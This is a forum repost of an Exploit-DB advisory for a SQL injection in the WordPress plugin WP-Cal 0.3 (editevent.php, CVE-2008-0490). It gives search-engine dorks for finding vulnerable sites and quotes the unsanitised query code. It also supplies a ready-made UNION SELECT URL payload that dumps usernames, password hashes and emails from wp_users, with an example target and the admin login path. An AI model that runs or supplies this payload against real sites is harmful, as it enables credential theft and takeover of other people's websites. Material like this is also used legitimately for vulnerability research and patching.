Exploit WordPress Plugin WP-Cal 0.3 - 'editevent.php' SQL Injection

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4992
Проверка EDB
  1. Пройдено
Автор
HOUSSAMIX
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-0490
Дата публикации
2008-01-27
Код:
--------------------------------------------------------------
        H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
--------------------------------------------------------------
# Author : Houssamix From H-T Team
# Script : Wordpress Plugin WP-Cal                                 
# Download : http://www.fahlstad.se/wp-plugins/wp-cal/                         
# BUG :  Remote SQL Injection Vulnerability  
# Dorks : inurl:/wp-content/plugins/wp-cal/
          inurl:/WP-Cal/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/wp-cal/functions/editevent.php ~~~~~~~~~~~~~
$id = $_GET['id'];
	$event = $wpdb->get_row("SELECT * FROM $table WHERE id = $id");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Exploit :
/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

Exemple :
http://site.il/wordpress/wp-content/plugins/wp-cal/functions/editevent.php?id=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6%20from%20wp_users--

admin login http://target.il/wordpress_path/wp/wp-login.php

# Gr33tz : V40 (Stack-Terrorist) - Mahmood_ali - weliem & all muslims hackers  

------------------------||  Viva Palestine ||------------------------------
------------------------||  FREE GaZZA ||------------------------------

# milw0rm.com [2008-01-27]
 
Источник
www.exploit-db.com

Похожие темы